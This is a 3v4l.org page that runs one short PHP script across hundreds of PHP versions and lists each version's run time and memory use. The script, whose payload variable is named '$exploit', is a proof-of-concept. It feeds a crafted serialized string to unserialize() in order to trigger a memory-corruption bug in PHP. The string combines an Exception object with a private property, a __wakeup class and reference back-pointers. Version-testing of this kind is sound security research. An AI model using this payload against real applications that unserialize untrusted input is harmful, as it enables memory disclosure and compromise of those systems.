3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00916.50
8.3.50.0100.00716.25
8.3.40.0120.00318.83
8.3.30.0110.00418.67
8.3.20.0000.00720.35
8.3.10.0070.00023.44
8.3.00.0080.00019.68
8.2.180.0120.00916.75
8.2.170.0100.01022.96
8.2.160.0000.01320.52
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0030.00717.48
8.2.110.0030.00622.15
8.2.100.0040.00817.75
8.2.90.0050.00219.22
8.2.80.0050.00317.97
8.2.70.0050.00317.60
8.2.60.0000.00817.90
8.2.50.0040.00418.07
8.2.40.0080.00019.41
8.2.30.0030.00717.93
8.2.20.0000.00817.76
8.2.10.0070.00017.96
8.2.00.0080.00018.00
8.1.280.0100.01025.92
8.1.270.0070.01020.36
8.1.260.0060.00326.35
8.1.250.0000.00828.09
8.1.240.0060.00322.48
8.1.230.0060.00617.42
8.1.220.0050.00317.74
8.1.210.0050.00318.77
8.1.200.0000.01017.23
8.1.190.0080.00017.23
8.1.180.0000.00718.10
8.1.170.0060.00318.61
8.1.160.0020.00521.89
8.1.150.0050.00218.85
8.1.140.0040.00417.52
8.1.130.0000.00717.60
8.1.120.0000.00717.43
8.1.110.0040.00417.43
8.1.100.0080.00017.30
8.1.90.0040.00317.43
8.1.80.0000.00817.29
8.1.70.0000.00717.41
8.1.60.0060.00317.52
8.1.50.0050.00317.50
8.1.40.0050.00317.56
8.1.30.0080.00017.54
8.1.20.0040.00417.57
8.1.10.0060.00317.57
8.1.00.0070.00017.42
8.0.300.0000.00718.77
8.0.290.0000.00716.75
8.0.280.0000.00718.54
8.0.270.0030.00317.34
8.0.260.0090.00017.28
8.0.250.0030.00617.04
8.0.240.0070.00016.91
8.0.230.0000.00816.92
8.0.220.0000.00817.03
8.0.210.0000.00716.86
8.0.200.0030.00316.91
8.0.190.0080.00017.04
8.0.180.0000.00816.90
8.0.170.0040.00416.91
8.0.160.0080.00017.02
8.0.150.0070.00017.03
8.0.140.0070.00016.95
8.0.130.0030.00313.40
8.0.120.0000.00816.94
8.0.110.0040.00416.89
8.0.100.0000.00716.94
8.0.90.0000.00716.86
8.0.80.0030.01416.83
8.0.70.0040.00416.79
8.0.60.0070.00016.95
8.0.50.0040.00416.95
8.0.30.0080.00917.16
8.0.20.0130.00917.41
8.0.10.0040.00417.04
8.0.00.0100.00916.84
7.4.330.0050.00315.08
7.4.320.0020.00516.57
7.4.300.0030.00316.48
7.4.290.0030.00316.61
7.4.280.0040.00416.56
7.4.270.0030.00316.46
7.4.260.0070.00316.51
7.4.250.0000.00816.59
7.4.240.0020.00516.62
7.4.230.0070.00016.63
7.4.220.0130.00616.62
7.4.210.0070.00716.57
7.4.200.0000.00716.62
7.4.160.0030.01316.48
7.4.150.0150.00317.40
7.4.140.0130.00817.86
7.4.130.0130.00916.62
7.4.120.0070.01016.41
7.4.110.0090.01316.45
7.4.100.0130.00516.56
7.4.90.0090.00916.55
7.4.80.0110.00719.39
7.4.70.0030.01316.37
7.4.60.0160.00016.36
7.4.50.0040.00416.26
7.4.40.0110.00716.46
7.4.30.0120.00616.43
7.4.00.0070.01215.09
7.3.330.0050.00013.21
7.3.320.0000.00513.32
7.3.310.0000.00716.41
7.3.300.0000.00716.26
7.3.290.0000.00616.37
7.3.280.0050.01216.42
7.3.270.0120.00617.40
7.3.260.0090.01516.36
7.3.240.0090.00916.60
7.3.230.0090.00916.61
7.3.210.0060.01016.30
7.3.200.0090.00916.51
7.3.190.0140.00316.55
7.3.180.0120.00316.50
7.3.170.0120.00316.70
7.3.160.0140.00316.66
7.3.120.0030.01314.98
7.3.110.0070.01114.62
7.3.100.0090.00614.96
7.3.90.0000.01314.92
7.3.80.0000.01414.85
7.3.70.0040.01114.51
7.3.60.0000.01014.85
7.3.50.0030.01314.95
7.3.40.0000.00914.88
7.3.30.0060.00914.80
7.3.20.0060.00616.64
7.3.10.0060.00616.47
7.3.00.0120.00616.64
7.2.330.0040.01316.75
7.2.320.0090.01316.69
7.2.310.0070.01116.69
7.2.300.0110.00616.57
7.2.290.0080.00816.46
7.2.250.0070.01314.90
7.2.240.0100.00715.00
7.2.230.0000.01814.99
7.2.220.0000.01214.87
7.2.210.0110.00715.03
7.2.200.0040.00814.77
7.2.190.0030.01215.01
7.2.180.0030.01014.99
7.2.170.0040.01215.02
7.2.80.0080.00316.39
7.2.60.0050.00516.59
7.2.00.0110.00719.39
7.1.330.0090.00615.86
7.1.320.0030.00815.96
7.1.310.0030.01315.56
7.1.300.0080.00315.58
7.1.290.0000.00915.67
7.1.280.0100.00315.88
7.1.270.0080.00015.76
7.1.260.0060.00615.67
7.1.200.0040.01115.77
7.1.100.0090.00018.21
7.1.70.0040.00417.14
7.1.60.0030.01219.27
7.1.50.0040.01517.02
7.1.00.0030.07722.28
7.0.200.0200.00316.26
7.0.60.0030.09020.03
7.0.50.0100.08017.84
7.0.40.0100.06720.16
7.0.30.0200.05720.26
7.0.20.0300.07020.05
7.0.10.0270.06720.20
7.0.00.0070.08320.10
5.6.280.0030.04320.78
5.6.210.0070.06720.61
5.6.200.0070.05018.25
5.6.190.0070.08720.61
5.6.180.0270.05720.55
5.6.170.0230.05020.48
5.6.160.0070.04720.71
5.6.150.0030.04318.22
5.6.140.0070.05318.14
5.6.130.0000.04318.14
5.6.120.0070.05320.99
5.6.110.0070.08320.98
5.6.100.0070.06021.00
5.6.90.0170.06320.98
5.6.80.0030.05020.42
5.6.70.4370.03020.40
5.5.350.0100.04320.33
5.5.340.0070.04017.98
5.5.330.0100.03720.41
5.5.320.0400.06320.35
5.5.310.0300.08020.28
5.5.300.0070.06018.07
5.5.290.0100.08018.02
5.5.280.0000.05020.88
5.5.270.0070.08320.88
5.5.260.0070.08720.84
5.5.250.0130.08320.66
5.5.240.0130.05320.29
5.4.450.0700.06019.68
5.4.440.0830.05019.10
5.4.430.0670.05019.28
5.4.420.0770.05019.22
5.4.410.0700.04719.46
5.4.400.0600.05319.26
5.4.390.0600.05719.18
5.4.380.0600.05719.07
5.4.370.0630.05019.05
5.4.360.0630.05019.19
5.4.350.0630.04718.96
5.4.340.0700.05719.17
5.4.320.0630.06319.21
5.4.310.0700.05319.23
5.4.300.0670.06019.06
5.4.290.0630.05019.21
5.4.280.0900.05019.21
5.4.270.0600.08318.77
5.4.260.0630.05719.27
5.4.250.0600.05719.23
5.4.240.0730.05018.77
5.4.230.0800.05018.77
5.4.220.0700.05018.95
5.4.210.0800.04719.18
5.4.200.0700.05719.06
5.4.190.0830.04319.18
5.4.180.0700.05319.21
5.4.170.0770.05018.87
5.4.160.0770.06319.21
5.4.150.0770.05319.25
5.4.140.0870.05716.34
5.4.130.0700.05016.40
5.4.120.0600.06016.35
5.4.110.0800.04716.62
5.4.100.0670.05716.63
5.4.90.0630.05716.45
5.4.80.0870.03716.48
5.4.70.0170.04316.32
5.4.60.0400.03316.50
5.4.50.0030.04316.21
5.4.40.0000.04716.48
5.4.30.0000.05316.27
5.4.20.0230.03316.51

preferences:
50.3 ms | 400 KiB | 5 Q